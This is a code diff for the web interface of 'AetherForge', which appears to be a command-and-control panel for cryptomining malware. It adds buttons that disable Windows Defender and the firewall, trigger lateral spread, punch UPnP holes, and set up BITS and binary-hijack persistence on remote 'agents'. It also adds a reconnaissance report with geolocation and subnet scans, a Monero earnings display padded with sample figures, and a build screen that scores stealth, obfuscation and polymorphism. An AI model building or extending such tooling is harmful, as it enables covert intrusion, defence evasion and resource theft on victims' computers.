if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
if (action === 'full_sys_check') {
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
setIsDragging(true);
};
const handleDragLeave = () => setIsDragging(false);
const pushDesktopFile = async (file: File) => {
try {
await pushFileToAgentDesktop(
(action, args) => dispatch(action, args),
file
);
} catch (err) {
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
}
};
const handleDrop = (e: React.DragEvent) => {
e.preventDefault();
e.stopPropagation();
setIsDragging(false);
const file = e.dataTransfer.files[0];
if (!file) return;
const reader = new FileReader();
reader.onload = async (evt) => {
const base64 = (evt.target?.result as string).split(',')[1];
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
await dispatch('upload', { path: targetPath, data: base64 });
};
reader.readAsDataURL(file);
void pushDesktopFile(file);
};
const desktopFileInputRef = useRef<HTMLInputElement>(null);
const runCustomCommand = (e: React.FormEvent) => {
e.preventDefault();
if (!customCmd.trim()) return;
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
onClick={() => dispatch('full_sys_check')}
>
Full Sys Check
</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
>
Open FW Port
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('firewall_off')}
title={aggTitle('firewall_off')}
onClick={() => dispatch('firewall_off')}
>
FW Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_on')}
title={aggTitle('firewall_on')}
onClick={() => dispatch('firewall_on')}
>
FW On
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_profiles')}
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
>
FW Private Off
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_remove')}
title={aggTitle('firewall_remove')}
onClick={() => dispatch('firewall_remove')}
>
Remove FW Rules
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('bits_persist')}
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
onClick={() => dispatch('bits_persist')}
>
BITS Persist
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('host_binary_persist')}
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
>
Host Binary
</button>
<button
type="button"
className="btn-magenta"
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
</div>
</div>
{sysCheckReport && !compact && (
<FullSysCheckPanel
report={sysCheckReport}
agentName={agentName}
onClose={() => setSysCheckReport(null)}
/>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
>
<span className="drop-icon">📥</span>
<p>Drag &amp; Drop file here</p>
<small>Uploads to C:\Windows\Temp\</small>
<small>Pushes to user Desktop (any OS)</small>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ marginTop: '0.5rem' }}
disabled={!isOnline || !!busy}
onClick={() => desktopFileInputRef.current?.click()}
>
Choose file Desktop
</button>
<input
ref={desktopFileInputRef}
type="file"
hidden
onChange={(e) => {
const file = e.target.files?.[0];
if (file) void pushDesktopFile(file);
e.target.value = '';
}}
/>
</div>
<div className="master-terminal">

View File

@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -210,20 +231,24 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className="section contrib-panel" hud>
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Each bar shows a machine's share of total fleet hashrate.
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -0,0 +1,141 @@
.syscheck-panel {
margin-top: 1rem;
padding: 1rem 1.1rem;
border: 1px solid rgba(0, 245, 255, 0.25);
border-radius: 8px;
background: rgba(8, 12, 24, 0.92);
max-height: 72vh;
overflow: auto;
}
.syscheck-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 1rem;
margin-bottom: 1rem;
border-bottom: 1px solid rgba(201, 162, 39, 0.2);
padding-bottom: 0.75rem;
}
.syscheck-header h3 {
margin: 0;
color: var(--accent-cyan, #00f5ff);
}
.syscheck-sub {
margin: 0.25rem 0 0;
font-size: 0.75rem;
color: var(--clr-dim, #888);
}
.syscheck-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 1rem;
}
.syscheck-section {
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
}
.syscheck-section-title {
margin: 0 0 0.5rem;
font-size: 0.72rem;
letter-spacing: 0.12em;
color: var(--accent-gold, #c9a227);
text-transform: uppercase;
}
.syscheck-kv {
display: grid;
grid-template-columns: 110px 1fr;
gap: 0.35rem 0.5rem;
margin-bottom: 0.35rem;
font-size: 0.8rem;
}
.syscheck-k {
color: var(--clr-dim, #888);
}
.syscheck-v {
color: #e8e8f0;
word-break: break-word;
}
.syscheck-ok {
color: #4ade80;
}
.syscheck-bad {
color: #f87171;
}
.syscheck-muted {
color: #777;
font-size: 0.78rem;
}
.syscheck-score {
color: #00f5ff;
font-weight: 600;
}
.syscheck-subhead {
margin-top: 0.5rem;
font-size: 0.7rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.syscheck-pre {
margin: 0.35rem 0 0.5rem;
padding: 0.5rem;
background: rgba(0, 0, 0, 0.45);
border-radius: 4px;
font-size: 0.72rem;
max-height: 160px;
overflow: auto;
white-space: pre-wrap;
color: #bbb;
}
.syscheck-table-wrap {
overflow-x: auto;
margin-top: 0.35rem;
}
.syscheck-table {
width: 100%;
font-size: 0.72rem;
border-collapse: collapse;
}
.syscheck-table th,
.syscheck-table td {
padding: 0.2rem 0.35rem;
border-bottom: 1px solid #222;
text-align: left;
}
.syscheck-iface {
margin-bottom: 0.5rem;
font-size: 0.78rem;
}
.syscheck-raw {
margin-top: 1rem;
font-size: 0.8rem;
}
.syscheck-raw summary {
cursor: pointer;
color: var(--accent-gold, #c9a227);
margin-bottom: 0.5rem;
}
.syscheck-errors {
margin-top: 0.75rem;
color: #f87171;
font-size: 0.78rem;
}

View File

@@ -0,0 +1,247 @@
import type { ReactNode } from 'react';
import type { FullSysCheckReport } from '../../types/syscheck';
import './FullSysCheckPanel.css';
function Row({ label, value }: { label: string; value: ReactNode }) {
if (value === undefined || value === null || value === '') return null;
return (
<div className="syscheck-kv">
<span className="syscheck-k">{label}</span>
<span className="syscheck-v">{value}</span>
</div>
);
}
function Section({ title, children }: { title: string; children: ReactNode }) {
return (
<section className="syscheck-section">
<h4 className="syscheck-section-title font-tech">{title}</h4>
<div className="syscheck-section-body">{children}</div>
</section>
);
}
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
if (v === undefined) return <span className="syscheck-muted"></span>;
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
}
export default function FullSysCheckPanel({
report,
agentName,
onClose,
}: {
report: FullSysCheckReport;
agentName: string;
onClose?: () => void;
}) {
const geo = report.network?.geo;
const geoLine =
geo &&
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
(geo.isp ? ` · ${geo.isp}` : '') +
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
return (
<div className="syscheck-panel">
<div className="syscheck-header">
<div>
<h3 className="font-display">Full System Check</h3>
<p className="syscheck-sub font-tech">
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
</p>
</div>
{onClose && (
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
Close
</button>
)}
</div>
<div className="syscheck-grid">
<Section title="Network &amp; Location">
<Row label="External IP" value={report.network?.external_ip} />
<Row label="IP Source" value={report.network?.external_ip_source} />
<Row label="Location" value={geoLine} />
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
<Row label="Default Gateway" value={report.network?.default_gateway} />
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
)}
{report.neighbors?.subnet_scan && (
<>
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
</>
)}
</Section>
<Section title="Security &amp; Firewall">
<Row
label="Posture Score"
value={
report.security?.posture_score != null ? (
<span className="syscheck-score">{report.security.posture_score} / 100</span>
) : undefined
}
/>
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
<Row
label="Firewall D / P / Pub"
value={
<>
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
</>
}
/>
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
<Row label="Pending Updates" value={report.security?.pending_updates} />
<Row
label="Last Patch"
value={
report.security?.last_patch
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
: undefined
}
/>
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
</Section>
<Section title="Hardware">
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
{report.hardware?.cpus?.map((c, i) => (
<Row
key={i}
label={`CPU ${i + 1}`}
value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
/>
))}
{report.hardware?.gpus?.map((g, i) => (
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
))}
{report.hardware?.disks?.map((d, i) => (
<Row
key={i}
label={`Disk ${d.mount ?? i}`}
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
/>
))}
</Section>
<Section title="Identity &amp; Agent">
<Row label="Hostname" value={report.hostname} />
<Row label="OS" value={report.os_version} />
<Row label="User" value={report.identity?.username} />
<Row label="Domain" value={report.identity?.domain} />
<Row label="Computer" value={report.identity?.computer_name} />
<Row label="MAC" value={report.identity?.mac_address} />
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
<Row label="Install Dir" value={report.environment?.install_dir} />
</Section>
<Section title="Live Resources">
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
<Row
label="Disk (miner vol)"
value={
report.resources?.disk_free_pct != null
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
: undefined
}
/>
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
</Section>
<Section title="Listeners">
<Row label="Open TCP ports" value={report.listen_ports?.count} />
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
<div className="syscheck-table-wrap">
<table className="syscheck-table">
<thead>
<tr>
<th>Port</th>
<th>Bind</th>
<th>Process</th>
</tr>
</thead>
<tbody>
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
<tr key={i}>
<td>{p.port}</td>
<td>{p.addr}</td>
<td>{p.process || p.pid}</td>
</tr>
))}
</tbody>
</table>
</div>
)}
</Section>
<Section title="Interfaces">
{report.network?.interfaces?.map((iface, i) => (
<div key={i} className="syscheck-iface">
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
{iface.ipv4?.map((ip) => (
<div key={ip} className="syscheck-muted">
{ip}
</div>
))}
</div>
))}
{report.network?.routes_summary && (
<>
<div className="syscheck-k syscheck-subhead">Routes</div>
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
</>
)}
</Section>
</div>
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
<details className="syscheck-raw">
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
{report.raw_sysinfo && (
<>
<div className="syscheck-k">systeminfo / uname</div>
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
</>
)}
{report.raw_ipconfig && (
<>
<div className="syscheck-k">ipconfig / ip addr</div>
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
</>
)}
{report.raw_netstat && (
<>
<div className="syscheck-k">netstat</div>
<pre className="syscheck-pre">{report.raw_netstat}</pre>
</>
)}
</details>
)}
{report.probe_errors && report.probe_errors.length > 0 && (
<div className="syscheck-errors">
{report.probe_errors.map((e, i) => (
<div key={i}>{e}</div>
))}
</div>
)}
</div>
);
}

View File

@@ -0,0 +1,221 @@
.forge-dispense-backdrop {
position: fixed;
inset: 0;
z-index: 1200;
display: flex;
align-items: center;
justify-content: center;
background: rgba(4, 8, 18, 0.82);
backdrop-filter: blur(8px);
animation: forge-dispense-fade 0.4s ease;
}
.forge-dispense-panel {
position: relative;
max-width: 420px;
width: 92%;
padding: 2rem 1.75rem 1.5rem;
border-radius: 16px;
border: 1px solid rgba(120, 200, 255, 0.35);
background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98));
box-shadow:
0 0 60px rgba(80, 160, 255, 0.15),
inset 0 1px 0 rgba(255, 255, 255, 0.06);
text-align: center;
animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1);
}
.forge-dispense-sigil {
width: 72px;
height: 72px;
margin: 0 auto 1rem;
border-radius: 50%;
background:
radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%),
conic-gradient(
from 0deg,
rgba(100, 180, 255, 0.5),
rgba(180, 120, 255, 0.4),
rgba(100, 200, 255, 0.5)
);
mask: radial-gradient(circle, transparent 38%, black 39%);
animation: forge-dispense-spin 12s linear infinite;
}
.forge-dispense-title {
margin: 0 0 0.35rem;
font-size: 1.5rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #b8e4ff;
}
.forge-dispense-sub {
margin: 0 0 1.25rem;
font-size: 0.9rem;
color: rgba(200, 220, 255, 0.75);
line-height: 1.45;
}
.forge-dispense-shield {
display: flex;
align-items: center;
justify-content: center;
gap: 1rem;
margin-bottom: 1.25rem;
}
.forge-dispense-shield-ring {
--shield-pct: 50%;
width: 88px;
height: 88px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
background: conic-gradient(
#3d9eff calc(var(--shield-pct) * 1%),
rgba(60, 80, 120, 0.35) 0
);
position: relative;
}
.forge-dispense-shield-ring::before {
content: '';
position: absolute;
inset: 6px;
border-radius: 50%;
background: rgba(8, 14, 28, 0.95);
}
.forge-dispense-shield-value {
position: relative;
z-index: 1;
font-size: 1.75rem;
font-weight: 700;
color: #7ec8ff;
}
.forge-dispense-shield-label {
text-align: left;
display: flex;
flex-direction: column;
gap: 0.2rem;
font-size: 0.85rem;
color: rgba(180, 210, 255, 0.9);
}
.forge-dispense-shield-hint {
font-size: 0.72rem;
opacity: 0.65;
}
.forge-dispense-dna {
margin-bottom: 1rem;
padding: 0.75rem;
border-radius: 10px;
background: rgba(0, 0, 0, 0.25);
border: 1px solid rgba(100, 160, 255, 0.2);
}
.forge-dispense-dna-label {
display: block;
font-size: 0.7rem;
letter-spacing: 0.15em;
text-transform: uppercase;
color: rgba(150, 200, 255, 0.7);
margin-bottom: 0.35rem;
}
.forge-dispense-dna-hash {
font-size: 0.95rem;
color: #9ee0ff;
letter-spacing: 0.08em;
}
.forge-dispense-dna-bars {
display: flex;
align-items: flex-end;
justify-content: center;
gap: 3px;
height: 48px;
margin-top: 0.6rem;
}
.forge-dispense-dna-bar {
width: 6px;
min-height: 4px;
border-radius: 2px 2px 0 0;
background: linear-gradient(180deg, #6eb8ff, #3a6a9e);
opacity: 0.85;
animation: forge-dispense-bar 0.6s ease backwards;
}
.forge-dispense-dna-bar:nth-child(odd) {
animation-delay: 0.05s;
}
.forge-dispense-layers {
list-style: none;
margin: 0 0 1.25rem;
padding: 0;
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
justify-content: center;
}
.forge-dispense-layers li {
font-size: 0.72rem;
padding: 0.25rem 0.55rem;
border-radius: 999px;
border: 1px solid rgba(80, 120, 180, 0.35);
color: rgba(140, 160, 200, 0.7);
}
.forge-dispense-layers li.on {
border-color: rgba(100, 200, 255, 0.55);
color: #a8dcff;
box-shadow: 0 0 12px rgba(80, 160, 255, 0.2);
}
.forge-dispense-actions {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
@keyframes forge-dispense-fade {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes forge-dispense-rise {
from {
opacity: 0;
transform: translateY(24px) scale(0.96);
}
to {
opacity: 1;
transform: translateY(0) scale(1);
}
}
@keyframes forge-dispense-spin {
to {
transform: rotate(360deg);
}
}
@keyframes forge-dispense-bar {
from {
transform: scaleY(0);
}
to {
transform: scaleY(1);
}
}

View File

@@ -0,0 +1,91 @@
import { useEffect } from 'react';
import type { BuildResponse } from '../../types';
import { useSound } from '../../context/SoundContext';
import DownloadButton from '../DownloadButton';
import './ForgeDispenseReveal.css';
interface Props {
result: BuildResponse;
onClose: () => void;
}
function dnaBars(fingerprint?: string): number[] {
const raw = fingerprint || 'aetherforge';
const bars: number[] = [];
for (let i = 0; i < 24; i++) {
const c = raw.charCodeAt(i % raw.length);
bars.push(12 + ((c * (i + 3)) % 88));
}
return bars;
}
export default function ForgeDispenseReveal({ result, onClose }: Props) {
const { play } = useSound();
const score = result.stealth_score ?? 0;
const bars = dnaBars(result.binary_fingerprint);
useEffect(() => {
play('success');
}, [play]);
return (
<div className="forge-dispense-backdrop" role="dialog" aria-labelledby="forge-dispense-title">
<div className="forge-dispense-panel">
<div className="forge-dispense-sigil" aria-hidden />
<h2 id="forge-dispense-title" className="forge-dispense-title">
Dispensed
</h2>
<p className="forge-dispense-sub">
{result.file_name || 'Your worker'} is ready each forge carries a unique binary signature.
</p>
<div className="forge-dispense-shield">
<div
className="forge-dispense-shield-ring"
style={{ ['--shield-pct' as string]: `${score}%` }}
>
<span className="forge-dispense-shield-value">{score}</span>
</div>
<div className="forge-dispense-shield-label">
<span>Stealth index</span>
<span className="forge-dispense-shield-hint">Polymorph · Garble · Sigil · Sign</span>
</div>
</div>
{result.binary_fingerprint && (
<div className="forge-dispense-dna">
<span className="forge-dispense-dna-label">Binary DNA</span>
<code className="forge-dispense-dna-hash">{result.binary_fingerprint}</code>
<div className="forge-dispense-dna-bars" aria-hidden>
{bars.map((h, i) => (
<span key={i} className="forge-dispense-dna-bar" style={{ height: `${h}%` }} />
))}
</div>
</div>
)}
<ul className="forge-dispense-layers">
<li className={result.obfuscated ? 'on' : ''}>Garble obfuscation</li>
<li className={result.sigil_scramble ? 'on' : ''}>Sigil scramble</li>
<li className={result.signed ? 'on' : ''}>Authenticode sign</li>
<li className="on">Polymorph weave</li>
</ul>
<div className="forge-dispense-actions">
{result.download_url && result.file_name && (
<DownloadButton
apiPath={result.download_url}
filename={result.file_name}
className="btn btn-primary"
>
Take the forge
</DownloadButton>
)}
<button type="button" className="btn btn-outline" onClick={onClose}>
Continue forging
</button>
</div>
</div>
</div>
);
}

View File

@@ -442,39 +442,4 @@
z-index: 1;
}
@media (max-width: 768px) {
.sidebar {
width: 72px;
}
.logo-text-block,
.nav-label,
.fleet-readout,
.sidebar-sig,
.matrix-rain-wrap {
display: none;
}
.sidebar-header {
padding: 1rem 0.5rem;
justify-content: center;
}
.logo {
justify-content: center;
}
.nav-item {
justify-content: center;
padding: 0.85rem;
}
.main-with-status {
margin-left: 72px;
}
.main-content {
margin-left: 0;
padding: 1rem;
}
}
/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */

View File

@@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import MatrixRain from './MatrixRain';
import afLogo from '../../assets/af-logo.png';
import CursorFire from '../Visual/CursorFire';
import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { api } from '../../api/client';
import type { ServerConfig } from '../../types';
import './Layout.css';
import './MobileNav.css';
interface LayoutProps {
children: ReactNode;
@@ -20,8 +28,14 @@ const NAV = [
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
] as const;
/** Primary tabs on iPhone bottom bar */
const MOBILE_PRIMARY = NAV.slice(0, 4);
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
const MOBILE_MORE = NAV.slice(4);
function NavIcon({ type }: { type: string }) {
switch (type) {
case 'deck':
@@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) {
<path d="M10 12l1.5 2L14 11" />
</svg>
);
case 'trace':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="4" cy="12" r="2" />
<circle cx="12" cy="6" r="2" />
<circle cx="20" cy="12" r="2" />
<path d="M6 12h4l2-6 2 6h4" />
<path d="M12 8v4" />
</svg>
);
default:
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -135,14 +159,59 @@ function FleetReadout() {
);
}
function MobileTopStats() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
return (
<div className="mobile-top-stats">
<strong>
{online}/{total} online
</strong>
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
</div>
);
}
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
const [moreOpen, setMoreOpen] = useState(false);
useEffect(() => {
api.getConfig().then(setServerConfig).catch(() => {});
}, []);
useEffect(() => {
setMoreOpen(false);
}, [location.pathname]);
useEffect(() => {
if (!moreOpen) return;
const prev = document.body.style.overflow;
document.body.style.overflow = 'hidden';
return () => {
document.body.style.overflow = prev;
};
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/forge': 'Forge',
};
return (
<div className="layout">
<CursorFire />
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
{!isMobile && <CursorFire />}
<AmbientBackground />
<nav className="sidebar">
<SacredGeometryLayer />
<nav className="sidebar sidebar--desktop desktop-only">
<div className="sidebar-header">
<div className="logo">
<div className="logo-emblem">
@@ -172,6 +241,10 @@ export default function Layout({ children }: LayoutProps) {
))}
</div>
<div className="sidebar-sacred-sigil" aria-hidden>
<SacredMotif name="flower" opacity={0.6} />
</div>
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
<MatrixRain />
@@ -184,10 +257,72 @@ export default function Layout({ children }: LayoutProps) {
</div>
</nav>
<div className="main-with-status">
{isMobile && (
<header className="mobile-top-bar">
<img src={afLogo} alt="" className="mobile-top-logo" />
<span className="mobile-top-title">AetherForge</span>
<MobileTopStats />
</header>
)}
<div className={`main-with-status${isMobile ? ' main-with-status--mobile' : ''}`}>
<SystemStatusBar />
<SetupBanner status={setupStatus} />
<main className="main-content">{children}</main>
</div>
{isMobile && (
<>
{moreOpen && (
<div
className="mobile-menu-backdrop"
role="presentation"
onClick={() => setMoreOpen(false)}
/>
)}
<div className={`mobile-more-sheet${moreOpen ? ' open' : ''}`}>
{MOBILE_MORE.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) => `mobile-more-link${isActive ? ' active' : ''}`}
onClick={() => setMoreOpen(false)}
>
<NavIcon type={item.icon} />
{item.label}
</NavLink>
))}
</div>
<nav className="mobile-bottom-nav" aria-label="Main navigation">
{MOBILE_PRIMARY.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) =>
`mobile-bottom-nav-item${isActive ? ' active' : ''}`
}
>
<NavIcon type={item.icon} />
{mobileShortLabel[item.to] ?? item.label}
</NavLink>
))}
<button
type="button"
className={`mobile-bottom-nav-item${moreActive ? ' active' : ''}`}
aria-expanded={moreOpen}
aria-label="More pages"
onClick={() => setMoreOpen((o) => !o)}
>
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="12" cy="5" r="1.5" fill="currentColor" />
<circle cx="12" cy="12" r="1.5" fill="currentColor" />
